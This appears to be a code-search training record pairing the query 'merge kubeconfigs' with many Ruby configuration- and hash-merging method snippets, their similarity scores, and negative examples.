"def config_merge_with_parent(filters=nil)\n remote = if (self != Rfm::Config) \n \teval(@config[:parent] || 'Rfm::Config').config_merge_with_parent rescue {}\n else\n \tget_config_file.merge((defined?(RFM_CONFIG) and RFM_CONFIG.is_a?(Hash)) ? RFM_CONFIG : {})\n end.clone\n \n remote[:using] ||= []\n remote[:parents] ||= ['file', 'RFM_CONFIG']\n\n\t\t\tfilters = (@config[:use].rfm_force_array | filters.rfm_force_array).compact\n\t\t\trslt = config_filter(remote, filters).merge(config_filter(@config, filters))\n\t\t\t\n\t\t\trslt[:using].concat((@config[:use].rfm_force_array | filters).compact.flatten) #.join\n\t\t\trslt[:parents] << @config[:parent].to_s\n\t\t\t\n\t\t\trslt.delete :parent\n\t\t\t\n\t\t\trslt\n end",
"def merge!(hash)\n hash.each do |key, value|\n if config_contexts.key?(key)\n # Grab the config context and let internal_get cache it if so desired\n config_contexts[key].restore(value)\n else\n configuration[key] = value\n end\n end\n self\n end",
"def merge(other)\n # By default just take the other change if applicable\n other.instance_of?(self.class) && other.key == key ? other : self\n end",
"def smash_configs\n # private overrides public general config\n a = remove_environments(@general_config_pub)\n b = remove_environments(@general_config_priv)\n general = a.merge(b)\n\n # private overrides public collection config\n c = remove_environments(@collection_config_pub)\n d = remove_environments(@collection_config_priv)\n collection = c.merge(d)\n\n # collection overrides general config\n return general.merge(collection)\n end",
"def merge_config_file(site)\n required = [TITLE_KEY, DESC_KEY, GITHUB_KEY, SEARCH_KEY, URL_KEY]\n optional = [ORG_KEY]\n\n original_url = site.config[URL_KEY]\n\n customizations = YAML.load_file(GUIDE_CONFIG)\n if customizations\n required.each do |k|\n site.config[k] = customizations[k]\n end\n\n optional.each do |k|\n if customizations.key?(k)\n site.config[k] = customizations[k]\n end\n end\n\n # Per https://jekyllrb.com/docs/variables/, Jekyll will set\n # the url at runtime in dev environments -- preserve, if set\n if original_url\n site.config[URL_KEY] = original_url\n end\n end\n puts \" Merged \" + GUIDE_CONFIG\n end",
"def two_layer_merge(downstream_hash, upstream_hash)\n up = upstream_hash.dup\n dn = downstream_hash.dup\n up.each_pair do |setting_name, value|\n if value.kind_of?(Hash) && downstream_hash.has_key?(setting_name)\n dn[setting_name] = value.merge(downstream_hash[setting_name])\n up.delete(setting_name)\n end\n end\n return up.merge(dn)\n end",
"def deep_merge other_in, options_in = {}\n return self if other_in.nil? or other_in.blank?\n\n options = { mode: :append }.merge(options_in)\n\n other =\n if other_in.is_a?(OpenStruct)\n other_in.dup\n elsif other_in.is_a?(Hash)\n other_in.to_os\n else\n OpenStruct.new(nil => other_in)\n end\n\n self.reduce(other) do |res, key, value|\n res[key] =\n if res.table.keys.include?(key)\n case value\n when Hash, OpenStruct\n value.deep_merge(res[key], options)\n when Array\n value.concat([res[key]].compact.flatten(1))\n when NilClass\n res[key]\n else\n value_out =\n if options[:mode] == :append\n [res[key], value].compact.flatten(1)\n elsif options[:mode] == :prepend\n [value, res[key]].compact.flatten(1)\n else\n value\n end\n\n if value_out.is_a?(Array) && options[:dedup]\n value_out.uniq\n else\n value_out\n end\n end\n else\n value\n end\n\n res\n end\n end",
"def merge(other)\n dup.update(other)\n end",
"def merge_from(other)\n @title = other.title unless other.title.to_s.empty?\n @descriptions[:default] = other.descriptions[:default] unless other.descriptions[:default].to_s.empty?\n @impact = other.impact unless other.impact.nil?\n other.tags.each do |ot|\n tag = @tags.detect { |t| t.key == ot.key }\n tag ? tag.value = ot.value : @tags.push(ot)\n end\n self\n end",
"def merge(opts); end",
"def deep_merge!(other)\n merger = proc do |key, v1, v2|\n Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2\n end\n self.merge! other, &merger\n end",
"def merge!(other_list)\n other_list.each do |resource, rule|\n if rules.key?(resource)\n privileges = rules[resource].privileges\n rule.privileges.each { |k, v| privileges[k] = privileges[k] || v }\n else\n rules[resource] = rule.clone\n end\n end\n\n self\n end",
"def independent_config\n initial_config.deep_merge(persistent_config_hash)\n end",
"def merge_with_default(config, config_file, unset_nil: T.unsafe(nil)); end",
"def merge!(other)\n raise NotImplementedError.new(\"Method 'merge!' not implemented by '#{self.class.name}'\")\n end",
"def merge!(other)\n raise Exception::OptionShouldBeRecursive.new(other) unless Utils.recursive?(other)\n\n if other.is_a?(self.class)\n structures.concat(other.structures)\n else\n structures << other\n end\n\n dirty!\n end",
"def merge_conf_directives(config_file, cfg)\n Chef::Log.info \"YAML config file: #{config_file}, conf directive entries: #{cfg}\"\n # Always backup\n bak_file = config_file.sub('.yaml', '_template.yaml')\n File.rename(config_file, bak_file)\n yaml = YAML::load_file(bak_file)\n puts cfg\n\n cfg.each_key { |key|\n if key == \"data_file_directories\"\n val = parse_json(cfg[key]).split(\",\")\n elsif key == \"seed_provider\"\n val = cfg[key]\n else\n val = parse_json(cfg[key])\n end\n yaml[key] = val\n }\n Chef::Log.info \"Merged cassandra YAML config: #{yaml.to_yaml}\"\n\n File.open(config_file, 'w') { |f|\n f.write <<-EOF\n# Cassandra storage config YAML\n#\n# NOTE:\n# See http://wiki.apache.org/cassandra/StorageConfiguration\n# or #{bak_file} file for full\n# explanations of configuration directives\n# /NOTE\n#\n# Auto generated by Cassandra cookbook\n EOF\n f.write yaml.to_yaml\n Chef::Log.info \"Saved YAML config to #{config_file}\"\n }\n end",
"def merge( other )\n\t\t\tself.dup.merge!( other )\n\t\tend",
"def merge_sass_options(options, other_options)\n\t\t\t\tif (load_paths = options[:load_paths]) && (other_paths = other_options[:load_paths])\n\t\t\t\t\tother_options[:load_paths] = other_paths + load_paths\n\t\t\t\tend\n\t\t\t\toptions.merge other_options\n\t\t\tend",
"def merge(container, other, namespace:)\n container.merge(other, namespace: namespace) { |_key, old_item, new_item|\n old_item || new_item\n }\n end",
"def merge(config_hash)\n config_hash.each_pair { |option, value| set_option(option, value) }\n self\n end",
"def load_network_conf\n current_cfg = networks_base\n\n new_cfg = load_network_yml\n\n attributes_cfg = node['vnet_part']['networks'].to_hash if node['vnet_part']['networks']\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(attributes_cfg, new_cfg) if attributes_cfg\n\n ::Chef::Mixin::DeepMerge.deep_merge(new_cfg, current_cfg)\nend",
"def deep_merge(other, &bloc)\n other.keys.inject(dup) do |result, key|\n begin\n case result[key]\n when Hash\n if other[key].is_a?(Hash)\n result[key] = result[key].deep_merge(other[key], &bloc)\n result\n else\n raise MergeConflict\n end\n when nil then result.merge key => other[key]\n else\n raise MergeConflict\n end\n rescue MergeConflict\n if bloc.nil?\n result[key] = other[key]\n else\n result[key] = bloc.call(result, other, key) \n end\n result\n end\n end\n \n end",
"def merge(other)\n self.class[Utils.merge(to_h, other)]\n end",
"def perform_additional_merge_operations!(other)\n end",
"def merge_comps( original, override )\n override.each do |k,v|\n if original.has_key? k\n original[k] = v\n else\n original << [k,v]\n end\n end\n end",
"def deep_merge!(second)\n second.each_pair do |k,v|\n if self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def merge(c1, c2)\n clusters = @clusters.dup\n @clusters = clusters - [c1, c2] + [c1.merge(c2)]\n end",
"def merge!(other)\n @hash.merge!(other.hash)\n end",
"def deep_merge(other_hash, &blk)\n dup.deep_update(other_hash, &blk)\n end",
"def merge!(other)\n other = other.dup\n other.each_child do |other_child|\n my_child = get_child?(other_child.name)\n # Directly add if a child with the same name does not already exist.\n # Merge if the other child and my child are nodes.\n # Raise an exception otherwise.\n if not my_child\n add_child(other_child)\n elsif my_child.class == other_child.class\n my_child.merge!(other_child)\n else\n source_details = \"#{other_child} (#{other_child.class.name})\"\n target_details = \"#{my_child} (#{my_child.class.name})\"\n raise ConfigurationError.new(\"Cannot merge incompatible types - Source: #{source_details} - Target: #{target_details}\")\n end\n end\n end",
"def merge!(other)\n assert_archive other\n clear_caches\n\n merge_data @data, other.as_json, other.uri\n nil\n end",
"def deep_merge!(other_hash = {})\n replace(deep_merge(other_hash))\n end",
"def add_subconfig(config_name)\n define_config_methods(config_name)\n self.send(\"#{config_name}=\", RubyConfig.new)\n end",
"def extend_configs(configs_to_extend, config)\n configs_to_extend[1..-1].inject(configs_to_extend.first) do |merged, config_to_extend|\n merged.merge(config_to_extend)\n end.merge(config)\n end",
"def deep_merge!(second)\n return nil unless second\n second.each_pair do |k,v|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def merge!; end",
"def deep_merge!(src, override)\n override.each do |key, oval|\n # puts \"merging #{key}\"\n if src.has_key?(key)\n sval = src[key]\n if oval == sval\n # puts \"Values are identical\"\n next\n elsif oval.is_a?(Hash) and sval.is_a?(Hash)\n # puts \"Deep merging subhashes\"\n deep_merge!(sval, oval)\n elsif oval.is_a?(Array) and sval.is_a?(Array)\n # puts \"Deep merging arrays\"\n sval.concat oval\n else\n # puts \"Overriding value #{sval.inspect} with #{oval.inspect}\"\n src[key] = oval\n end\n else\n # puts \"adding new value {#{key} => #{oval}}\"\n src[key] = oval\n end\n end\n return src\nend",
"def deep_merge!(other_hash)\r\n replace(deep_merge(other_hash))\r\n end",
"def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end",
"def merge(other_hash); end",
"def merge( other )\n self.dup.merge!(other)\n end",
"def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end",
"def merge!(other)\n other.each_pair do |key, value|\n value = yield(convert_key(key), self[key], convert_value(value)) if block_given? && self[key]\n self[key] = value\n end\n self\n end",
"def _merge_hash(other)\n clazz = _class_to_sym(other.values.first)\n @known_classes[clazz][:pipeline_group].merge!(other)\n end",
"def merge_values!(values)\n # STUB: should make recorsive calls if need\n global_config[target] ||= {}\n global_config[target].merge!(values)\n end",
"def wonkofile_merge(old, new)\n res = old.merge new\n # changing versions is not allowed by adding another version index (we might end up with a version in the index that\n # we don't have an actual version file for)\n res['versions'] = old['versions']\n res\nend",
"def merge(other)\n @actions += other.actions\n @errors += other.errors\n @warnings += other.warnings\n @notices += other.notices\n end",
"def merge!( other )\n @map.merge!( other.map )\n end",
"def merge other\n self.class.new(\n 'inspected_file_count' =>\n inspected_file_count + other.inspected_file_count,\n 'offense_count' => offense_count + other.offense_count\n ) # end new\n end",
"def merge(other)\n schema_dsl.merge(other.schema_dsl).()\n end",
"def merge(other)\n self.class.new(*structures, other)\n end",
"def merge(other)\n other = other.criteria\n\n fresh.tap do |criteria|\n [\n :profile_value, :failsafe_value, :terminate_after_value, :timeout_value, :offset_value,\n :limit_value, :scroll_args, :source_value, :preference_value, :search_type_value,\n :routing_value, :track_total_hits_value, :explain_value, :http_timeout_value\n ].each do |name|\n criteria.send(:\"#{name}=\", other.send(name)) unless other.send(name).nil?\n end\n\n [\n :sort_values, :includes_values, :preload_values, :eager_load_values, :must_values,\n :must_not_values, :filter_values, :post_must_values, :post_must_not_values,\n :post_filter_values\n ].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || []) + other.send(name)) if other.send(name)\n end\n\n [:highlight_values, :suggest_values, :custom_value, :aggregation_values].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || {}).merge(other.send(name))) if other.send(name)\n end\n end\n end",
"def combine(other)\n other.each { |key, value| setting(key).combine!(value) } if other.is_a?(Hash)\n end"
] | [
"0.7466935",
"0.6875565",
"0.65044785",
"0.6340998",
"0.629919",
"0.62115294",
"0.6153736",
"0.61479837",
"0.61478955",
"0.61460793",
"0.6118636",
"0.61009777",
"0.608316",
"0.60751975",
"0.605413",
"0.59339905",
"0.5893639",
"0.58649427",
"0.58587474",
"0.58518666",
"0.5819278",
"0.5793158",
"0.5778221",
"0.57608604",
"0.5758942",
"0.5708227",
"0.56545293",
"0.56065655",
"0.5591788",
"0.558112",
"0.55753624",
"0.55650413",
"0.5558587",
"0.55450433",
"0.55331343",
"0.55241513",
"0.55052483",
"0.5488504",
"0.5462516",
"0.5455558",
"0.54391",
"0.54349065",
"0.54210657",
"0.5415895",
"0.5390876",
"0.5366711",
"0.5364855",
"0.5354488",
"0.53504527",
"0.53453314",
"0.5341004",
"0.5320445",
"0.5320373",
"0.52905285",
"0.5284753",
"0.52823484",
"0.52797294",
"0.52691084",
"0.5256204",
"0.5244175",
"0.52405626",
"0.524035",
"0.5239403",
"0.5237677",
"0.5230621",
"0.5230224",
"0.522657",
"0.52180696",
"0.5214789",
"0.5204382",
"0.5198904",
"0.5195616",
"0.5152198",
"0.5149734",
"0.5144506",
"0.51298726",
"0.512505",
"0.51186085",
"0.511821",
"0.51138914",
"0.5108645",
"0.510835",
"0.5107023",
"0.5090723",
"0.5089683",
"0.508859",
"0.50838006",
"0.50837547",
"0.5081482",
"0.5079791",
"0.50587404",
"0.50568914",
"0.5055818",
"0.5051065",
"0.50487703",
"0.5047953",
"0.5046615",
"0.50424385",
"0.50421304",
"0.50280184"
] | 0.53492916 | 49 |
Create a new instance from this and another kubeconfig, merging as specified in the kubeconfig merge rules specifications | def merge(other)
dup.merge!(other)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge!(other)\n other.config.each do |key, value|\n case key\n when 'clusters', 'contexts', 'users'\n value.each do |other_value|\n own_value = config[key].find { |c| c['name'] == other_value['name'] }\n config[key].delete(own_value) if own_value\n config[key] << other_value\n end\n when 'current-context', 'preferences'\n config[key] = value\n else\n config[key] ||= value\n end\n end\n\n self\n end",
"def merge(other)\n result = self.class.new\n\n # Set all of our instance variables on the new class\n [self, other].each do |obj|\n obj.instance_variables.each do |key|\n # Ignore keys that start with a double underscore. This allows\n # configuration classes to still hold around internal state\n # that isn't propagated.\n if !key.to_s.start_with?(\"@__\")\n result.instance_variable_set(key, obj.instance_variable_get(key))\n end\n end\n end\n\n result\n end",
"def merge!(config)\n self.compiled = false\n self.resource_class ||= config.resource_class\n transforms_from.merge! config.transforms_from\n transforms_to.merge! config.transforms_to\n custom_serializers.merge! config.custom_serializers\n namespaces.merge! config.namespaces\n facets.merge! config.facets #TODO --jdc change to a deep_merge!\n extensions.merge! config.extensions\n\n self\n end",
"def merge_configurations cfg,cfg2\n cfg['prefix']||=cfg2['prefix']\n raise \"Attempting to merge configurations with differing prefixes: '#{cfg['prefix']}' vs. '#{cfg2['prefix']}' \" if cfg['prefix']!=cfg2['prefix']\n cfg['include']||=[]\n cfg['depend']||=[]\n cfg['interface']||=[]\n cfg['include']+=cfg2['include'] if cfg2['include']\n cfg['depend']+=cfg2['depend'] if cfg2['depend']\n cfg['interface']+=cfg2['interface'] if cfg2['interface']\n return cfg\nend",
"def merge!(another)\n configs = self.configs\n another.each_pair do |key, value|\n if config = configs[key]\n config.set(receiver, value)\n else\n store[key] = value\n end\n end\n self\n end",
"def merge(other)\n self.class.new(*structures, other)\n end",
"def merge(other, namespace: nil, &block)\n if namespace\n _container.merge!(\n other._container.each_with_object(::Concurrent::Hash.new) { |(key, item), hsh|\n hsh[PREFIX_NAMESPACE.call(namespace, key, config)] = item\n },\n &block\n )\n else\n _container.merge!(other._container, &block)\n end\n\n self\n end",
"def merge_configs\n # Update our original_config - if someone has created a knife command\n # instance directly, they are likely ot have set cmd.config values directly\n # as well, at which point our saved original config is no longer up to date.\n @original_config = config.dup\n # other code may have a handle to the config object, so use Hash#replace to deliberately\n # update-in-place.\n config.replace(config_file_defaults.merge(default_config).merge(config_file_settings).merge(config))\n end",
"def merge other\n raise \"must be a #{self.class.name}\" unless self.class === other\n err = Fiddle::Pointer[0]\n rv = Wrapper.msc_rules_merge rules_ptr, other.rules_ptr, err.ref\n @rule_count += rv\n raise Error, err.to_s if rv < 0\n self\n end",
"def merge!( other )\n\t\t\tcase other\n\t\t\twhen Hash\n\t\t\t\t@hash = self.to_h.merge( other,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen ConfigStruct\n\t\t\t\t@hash = self.to_h.merge( other.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen Arrow::Config\n\t\t\t\t@hash = self.to_h.merge( other.struct.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"Don't know how to merge with a %p\" % other.class\n\t\t\tend\n\n\t\t\t# :TODO: Actually check to see if anything has changed?\n\t\t\t@dirty = true\n\n\t\t\treturn self\n\t\tend",
"def merge_config_layers(*config_data)\n config_data.inject({}) do |acc, config|\n acc.merge(config) do |key, val1, val2|\n case key\n # Shallow merge config for each plugin\n when 'plugins'\n val1.merge(val2) { |_, v1, v2| v1.merge(v2) }\n # Transports are deep merged\n when *TRANSPORT_CONFIG.keys\n Bolt::Util.deep_merge(val1, val2)\n # Hash values are shallow merged\n when 'apply-settings', 'log', 'plugin-hooks', 'puppetdb', 'puppetdb-instances'\n val1.merge(val2)\n # Disabled warnings are concatenated\n when 'disable-warnings'\n val1.concat(val2)\n when 'analytics'\n val1 && val2\n # All other values are overwritten\n else\n val2\n end\n end\n end\n end",
"def merge_configs\n # Apply config file settings on top of mixlib-cli defaults\n combined_config = default_config.merge(config_file_settings)\n # Apply user-supplied options on top of the above combination\n combined_config = combined_config.merge(config)\n # replace the config hash from mixlib-cli with our own.\n # Need to use the mutate-in-place #replace method instead of assigning to\n # the instance variable because other code may have a reference to the\n # original config hash object.\n config.replace(combined_config)\n end",
"def deep_merge!(hash_or_config)\n return self if hash_or_config.nil?\n other_config = convert hash_or_config\n other_config.each do |key, other_value|\n value = has_key?(key) && self[key]\n self[key] = if ConfigNode === value && ConfigNode === other_value\n value.deep_merge!(other_value)\n elsif ConfigNode === value && other_value.nil?\n self[key]\n else\n other_value\n end\n end\n self\n end",
"def merge!(other)\n return self if other.nil?\n\n my_keys = @ini.keys\n other_keys = case other\n when IniFile\n other.instance_variable_get(:@ini).keys\n when Hash\n other.keys\n else\n raise Error, \"cannot merge contents from '#{other.class.name}'\"\n end\n\n (my_keys & other_keys).each do |key|\n case other[key]\n when Hash\n @ini[key].merge!(other[key])\n when nil\n nil\n else\n raise Error, \"cannot merge section #{key.inspect} - unsupported type: #{other[key].class.name}\"\n end\n end\n\n (other_keys - my_keys).each do |key|\n @ini[key] = case other[key]\n when Hash\n other[key].dup\n when nil\n {}\n else\n raise Error, \"cannot merge section #{key.inspect} - unsupported type: #{other[key].class.name}\"\n end\n end\n\n self\n end",
"def merge(other)\n attributes = @attributes.merge(other.attributes)\n excluded = @excluded.dup.concat(other.excluded)\n self.class.new(prefix, attributes, excluded)\n end",
"def merge_config!(config = {})\n self.config.url = config[:url] if config.key?(:url)\n self.config.opts = config[:opts] if config.key?(:opts)\n self.config.db = config[:db] if config.key?(:db)\n end",
"def merge(other)\n super.tap do |result|\n other_networks = other.instance_variable_get(:@__networks)\n\n result.instance_variable_set(:@__networks, @__networks.merge(other_networks))\n\n # Merge defined VMs by first merging the defined VM keys,\n # preserving the order in which they were defined.\n other_defined_vm_keys = other.instance_variable_get(:@__defined_vm_keys)\n other_defined_vm_keys -= @__defined_vm_keys\n new_defined_vm_keys = @__defined_vm_keys + other_defined_vm_keys\n\n # Merge the actual defined VMs.\n other_defined_vms = other.instance_variable_get(:@__defined_vms)\n new_defined_vms = {}\n\n @__defined_vms.each do |key, subvm|\n new_defined_vms[key] = subvm.clone\n end\n\n other_defined_vms.each do |key, subvm|\n if !new_defined_vms.key?(key)\n new_defined_vms[key] = subvm.clone\n else\n new_defined_vms[key].config_procs.concat(subvm.config_procs)\n new_defined_vms[key].options.merge!(subvm.options)\n end\n end\n\n # Merge the providers by prepending any configuration blocks we\n # have for providers onto the new configuration.\n other_providers = other.instance_variable_get(:@__providers)\n new_providers = @__providers.dup\n other_providers.each do |key, blocks|\n new_providers[key] ||= []\n new_providers[key] += blocks\n end\n\n # Merge the provider ordering. Anything defined in our CURRENT\n # scope is before anything else.\n other_order = other.instance_variable_get(:@__provider_order)\n new_order = @__provider_order.dup\n new_order = (new_order + other_order).uniq\n\n # Merge the provider overrides by appending them...\n other_overrides = other.instance_variable_get(:@__provider_overrides)\n new_overrides = @__provider_overrides.dup\n other_overrides.each do |key, blocks|\n new_overrides[key] ||= []\n new_overrides[key] += blocks\n end\n\n # Merge provisioners. First we deal with overrides and making\n # sure the ordering is good there. Then we merge them.\n new_provs = []\n other_provs = other.provisioners.dup\n @provisioners.each do |p|\n other_p = other_provs.find { |o| p.id == o.id }\n if other_p\n # There is an override. Take it.\n other_p.config = p.config.merge(other_p.config)\n other_p.run ||= p.run\n next if !other_p.preserve_order\n\n # We're preserving order, delete from other\n p = other_p\n other_provs.delete(other_p)\n end\n\n # There is an override, merge it into the\n new_provs << p.dup\n end\n other_provs.each do |p|\n new_provs << p.dup\n end\n result.instance_variable_set(:@provisioners, new_provs)\n\n # Merge synced folders.\n other_folders = other.instance_variable_get(:@__synced_folders)\n new_folders = {}\n @__synced_folders.each do |key, value|\n new_folders[key] = value.dup\n end\n\n other_folders.each do |id, options|\n new_folders[id] ||= {}\n new_folders[id].merge!(options)\n end\n\n result.instance_variable_set(:@__defined_vm_keys, new_defined_vm_keys)\n result.instance_variable_set(:@__defined_vms, new_defined_vms)\n result.instance_variable_set(:@__providers, new_providers)\n result.instance_variable_set(:@__provider_order, new_order)\n result.instance_variable_set(:@__provider_overrides, new_overrides)\n result.instance_variable_set(:@__synced_folders, new_folders)\n end\n end",
"def import(another)\n merge! configs.import(another)\n end",
"def merge(other)\n @scheme = other.scheme unless other.scheme.nil?\n @workspace = other.workspace unless other.workspace.nil?\n @target = other.target unless other.target.nil?\n @suffix = other.suffix unless other.suffix.nil?\n @reporter = other.reporter unless other.reporter.nil?\n @xctool_path = other.xctool_path unless other.xctool_path.nil?\n @project = other.project unless other.project.nil?\n \n return self\n end",
"def config_merge(config)\n @config.merge!(config)\n end",
"def extend!(other)\n # Any image_registries entry in |self| should take precedence\n # over any identical key in |other|. The behavior of merge is that\n # the 'other' hash wins.\n @image_registries = other.image_registries.merge(@image_registries)\n\n # Same behavior as above for #default_flags.\n @default_flags = other.default_flags.merge(@default_flags)\n\n # artifacts should be merged by 'name'. In other words, if |self| and |other|\n # specify the same 'name' of a registry, self's config for that registry\n # should win wholesale (no merging of flags.)\n @artifacts = (@artifacts + other.artifacts).uniq { |h| h.fetch('name') }\n\n # Same behavior as for flags and registries, but the flags within the flavor\n # are in a Hash, so we need a deep merge.\n @flavors = other.flavors.deep_merge(@flavors)\n\n # A break from the preceding merging logic - Dependent hooks have to come\n # first and a given named hook can only be run once. But seriously, you\n # probably don't want to make a library that specifies hooks.\n @hooks = (other.hooks + @hooks).uniq\n\n @expiration = (@expiration + other.expiration).uniq { |h| h.fetch('repository') }\n end",
"def merge(rules)\n clone.instance_exec do\n __setobj__(__getobj__.merge(rules))\n if rules.respond_to?(:optional_keys, true)\n optional_keys.push(*rules.send(:optional_keys))\n end\n if rules.respond_to?(:strict_keys, true)\n strict_keys.push(*rules.send(:strict_keys))\n end\n\n self\n end\n end",
"def +(other_config)\n result = self.copy\n Config.variables.each { |v|\n other_value = other_config.send(v.to_s)\n next unless other_value != nil and other_value != Config.variable_default(v)\n result.send(v.to_s + \"=\", other_value)\n }\n result\n end",
"def load_config!\n if(options[:config])\n config_inst = config_class.new(options[:config])\n elsif(self.class.const_defined?(:DEFAULT_CONFIGURATION_FILES))\n path = self.class.const_get(:DEFAULT_CONFIGURATION_FILES).detect do |check|\n full_check = File.expand_path(check)\n File.exists?(full_check)\n end\n config_inst = config_class.new(path) if path\n end\n if(config_inst)\n options.delete(:config)\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n config_inst.to_smash.deep_merge(\n options.to_smash\n )\n )\n ).to_smash\n else\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n options.to_smash\n )\n ).to_smash\n end\n options\n end",
"def merge!( other )\n my_keys = @ini.keys\n other_keys =\n case other\n when IniFile; other.instance_variable_get(:@ini).keys\n when Hash; other.keys\n else raise \"cannot merge contents from '#{other.class.name}'\" end\n\n (my_keys & other_keys).each do |key|\n @ini[key].merge!(other[key])\n end\n\n (other_keys - my_keys).each do |key|\n @ini[key] = other[key]\n end\n\n self\n end",
"def merge_with_default(config, config_file, unset_nil:)\n default_configuration = ConfigLoader.default_configuration\n\n disabled_by_default = config.for_all_cops['DisabledByDefault']\n enabled_by_default = config.for_all_cops['EnabledByDefault']\n\n if disabled_by_default || enabled_by_default\n default_configuration = transform(default_configuration) do |params|\n params.merge('Enabled' => !disabled_by_default)\n end\n end\n\n config = handle_disabled_by_default(config, default_configuration) if disabled_by_default\n\n opts = { inherit_mode: config['inherit_mode'] || {},\n unset_nil: unset_nil }\n Config.new(merge(default_configuration, config, **opts), config_file)\n end",
"def merge_config!(data, conf)\n # Catch edge-cases\n return if data.nil? || conf.nil?\n # Step through all conf items and create combined return value\n data.merge!(conf) do |_, v1, v2|\n if v1.is_a?(Array) && v2.is_a?(Array)\n # If both the data field and the conf field are arrays, then combine them\n v1 + v2\n elsif v1.is_a?(Hash) && v2.is_a?(Hash)\n # If both the data field and the conf field are maps, then deep merge them\n merge_config!(v1, v2)\n else\n # All other cases, just use the new value (regular merge behavior)\n v2\n end\n end\n end",
"def independent_config\n initial_config.deep_merge(persistent_config_hash)\n end",
"def load_config!\n if options[:config]\n config_inst = Config.new(options[:config])\n elsif self.class.const_defined?(:DEFAULT_CONFIGURATION_FILES)\n path = self.class.const_get(:DEFAULT_CONFIGURATION_FILES).detect do |check|\n full_check = File.expand_path(check)\n File.exists?(full_check)\n end\n config_inst = Config.new(path) if path\n end\n if config_inst\n options.delete(:config)\n defaults_inst = Smash[\n config_class.new(\n defaults.to_smash\n ).to_smash.find_all do |key, value|\n defaults.key?(key)\n end\n ]\n config_data = config_inst.data\n config_inst = Smash[\n config_inst.to_smash.find_all do |key, value|\n config_data.key?(key)\n end\n ]\n options_inst = Smash[\n config_class.new(\n options.to_smash\n ).to_smash.find_all do |key, value|\n options.key?(key)\n end\n ]\n @options = config_class.new(\n defaults_inst.to_smash.deep_merge(\n config_inst.to_smash.deep_merge(\n options_inst.to_smash\n )\n )\n ).to_smash\n else\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n options.to_smash\n )\n ).to_smash\n end\n options\n end",
"def merge_config_data(config_data)\n config_data.inject({}) do |acc, config|\n acc.merge(config[:data]) do |key, val1, val2|\n case key\n # Plugin config is shallow merged for each plugin\n when 'plugins'\n val1.merge(val2) { |_, v1, v2| v1.merge(v2) }\n # Transports are deep merged\n when *TRANSPORTS.keys.map(&:to_s)\n Bolt::Util.deep_merge(val1, val2)\n # Hash values are shallow mergeed\n when 'puppetdb', 'plugin_hooks', 'apply_settings', 'log'\n val1.merge(val2)\n # All other values are overwritten\n else\n val2\n end\n end\n end\n end",
"def merge!(other_list)\n other_list.each do |resource, rule|\n if rules.key?(resource)\n privileges = rules[resource].privileges\n rule.privileges.each { |k, v| privileges[k] = privileges[k] || v }\n else\n rules[resource] = rule.clone\n end\n end\n\n self\n end",
"def merge(cfg_file)\n cfg = read_configuration(cfg_file)\n list_keys, = *keys\n cfg.each_key do |k|\n if @config.keys.include?(k) && list_keys.include?(k)\n @config[k] += cfg[k]\n else\n # last one wins\n @config[k] = cfg[k]\n end\n end\n @configuration_files << cfg_file\n end",
"def merge(other)\n schema(other.keys)\n end",
"def merge_from(other)\n @title = other.title unless other.title.to_s.empty?\n @descriptions[:default] = other.descriptions[:default] unless other.descriptions[:default].to_s.empty?\n @impact = other.impact unless other.impact.nil?\n other.tags.each do |ot|\n tag = @tags.detect { |t| t.key == ot.key }\n tag ? tag.value = ot.value : @tags.push(ot)\n end\n self\n end",
"def merge(other)\n @options[:last_received_time] ||= other.last_received_time\n @options[:idle] ||= other.idle\n @options[:next_directive] ||= other.next_directive\n @options[:next_method] ||= other.next_method\n @options[:data] ||= other.data\n @options[:parse_next] ||= other.parse_next\n end",
"def configuration_deep_merge(_key, oldval, newval)\n if oldval.is_a?(Hash) && newval.is_a?(Hash)\n oldval.merge(newval, &method(:configuration_deep_merge))\n else\n Array(oldval) + Array(newval)\n end\n end",
"def _merge_hash(other)\n clazz = _class_to_sym(other.values.first)\n @known_classes[clazz][:pipeline_group].merge!(other)\n end",
"def _compile(config)\n default_configuration.deep_merge(config).deep_merge(overlay_configuration)\n end",
"def merge(other = {})\n branch default_options.merge(other)\n end",
"def merge!(other)\n @options[:last_received_time] = other.last_received_time\n @options[:idle] = other.idle\n @options[:next_directive] = other.next_directive\n @options[:next_method] = other.next_method\n @options[:data] = other.data\n @options[:parse_next] = other.parse_next\n end",
"def merge!(other)\n other.read_present.each do |k, v|\n write(k, v)\n end\n\n self\n end",
"def merge other\n self.class.new(\n 'inspected_file_count' =>\n inspected_file_count + other.inspected_file_count,\n 'offense_count' => offense_count + other.offense_count\n ) # end new\n end",
"def update_config(current, new)\n current.merge! new\n end",
"def merge(other)\n self.class[Utils.merge(to_h, other)]\n end",
"def merge_options!(machine_options)\n @config = Cheffish::MergedConfig.new(\n { machine_options: machine_options },\n @config\n )\n @config = deep_symbolize(@config.to_h)\n end",
"def merge!(other)\n # @todo: use specific exception\n raise Exception, \"Cannot merge\" unless self.class == other.class &&\n coll_name == other.coll_name &&\n db_name == other.db_name\n @spec[batch_key] += other.spec[batch_key]\n @spec[:indexes] = indexes + other.indexes\n self\n end",
"def merge other_hash\n self.class.new nested_class, to_h.merge((other_hash if other_hash.is_a? Hash) || other_hash.to_h)\n end",
"def merge!(other)\n @hooks.merge!(other.dup.hooks) do |key, v1, v2|\n merge_arrays(v1, v2)\n end\n\n self\n end",
